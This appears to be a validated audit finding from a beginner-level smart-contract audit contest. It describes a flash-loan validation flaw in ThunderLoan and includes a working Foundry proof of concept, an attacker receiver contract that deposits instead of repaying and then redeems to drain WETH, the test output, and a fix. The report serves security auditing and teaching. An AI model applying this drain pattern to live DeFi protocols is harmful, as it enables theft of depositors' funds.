Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

Incorrect `ThunderLoan::flashloan` validations may lead to funds being drained

Summary

The function ThunderLoan::flashloan incorrectly validates if the flash loan amount and fee were repaid, allowing malicious users to drain underlying tokens from the protocol.

Vulnerability Details

ThunderLoan::flashloan validates that endingBalance >= startingBalance + fee by fetching the underlying token balance of AssetToken contract. These validations assume the receiver will ThunderLoan::repay the flash loan amount plus the fee at the end of executeOperation callback function. Instead, a malicious user can take out a flash loan amount and ThunderLoan::deposit the amount plus fee, to bypass the final validation, as both repaying and deposit increase AssetToken underlying balance. After flash loan is over, user can call ThunderLoan::redeem and steal the funds.

function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
AssetToken assetToken = s_tokenToAssetToken[token];
=> uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
...
=> uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}

The hacker can follow these steps to drain funds from the protocol:

  1. Get some WETH to pay Flash Loan fees

  2. Send fee to BadFlashLoanReceiver

  3. Execute Flash Loan

  4. Flash Loan amount is deposited into thunderLoan (to bypass repay check)

  5. Flash Loan finished, we never repay, as thunderLoan only checks token balance in assetToken contract

  6. Redeem from thunderLoan, get WETH back

  7. Profit

Impact

Loss of funds in AssetToken contracts.

Here is a PoC that validates the vulnerability:

function testFlashLoanAttackIncorrectValidation() public {
// Before
thunderLoan.setAllowedToken(weth, true);
_deposit(address(weth), ALICE, DEPOSIT_AMOUNT);
_deposit(address(weth), BOB, DEPOSIT_AMOUNT);
// Start with the fee amount based on FL amount
uint256 fee = DEPOSIT_AMOUNT * thunderLoan.getFee() / thunderLoan.getFeePrecision();
deal(address(weth), address(this), fee);
uint256 startingBalance = weth.balanceOf(address(this));
// Deploy malicious receiver contract and send the fee
BadFlashLoanReceiver receiver = new BadFlashLoanReceiver(address(thunderLoan));
weth.transfer(address(receiver), fee);
// When
receiver.hack(address(weth), DEPOSIT_AMOUNT);
// Checks
uint256 endingBalance = weth.balanceOf(address(this));
assertGt(endingBalance, startingBalance);
assertGt(endingBalance, DEPOSIT_AMOUNT);
console.log("Profit amount: %s", endingBalance - startingBalance);
}

The MockFlashLoanReceiver is modified to perform the hack:

function hack(address token, uint256 amount) external {
IThunderLoan(s_thunderLoan).flashloan(address(this), IERC20(token), amount, "");
AssetToken assetToken = AssetToken(IThunderLoan(s_thunderLoan).getAssetFromToken(IERC20(token)));
IThunderLoan(s_thunderLoan).redeem(IERC20(token), assetToken.balanceOf(address(this)));
// Take profit out
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address, /* initiator */
bytes calldata /* params */
)
external
returns (bool)
{
IERC20(token).approve(s_thunderLoan, amount + fee);
IThunderLoan(s_thunderLoan).deposit(token, amount + fee);
return true;
}

Here is the output when executing this unit test:

forge test --mt testFlashLoanAttackIncorrectValidation -vv
[⠒] Compiling...
No files changed, compilation skipped
Running 1 test for test/unit/AuditTest.t.sol:AuditTest
[PASS] testFlashLoanAttackIncorrectValidation() (gas: 1871000)
Logs:
Profit amount: 10010080212669835473
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.46ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

  • Foundry

Recommendations

The protocol should prevent users from calling ThunderLoan::deposit when a flash loan is active.

Here is the recommended code change:

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) revert ThunderLoan_CurrentlyFlashLoaning();
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();

The previous PoC unit test now fails:

forge test --mt testFlashLoanAttackIncorrectValidation -vv
[⠒] Compiling...
No files changed, compilation skipped
Running 1 test for test/unit/AuditTest.t.sol:AuditTest
[FAIL. Reason: ThunderLoan_CurrentlyFlashLoaning()] testFlashLoanAttackIncorrectValidation() (gas: 2183768)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.89ms
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

flash loan funds stolen by a deposit

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.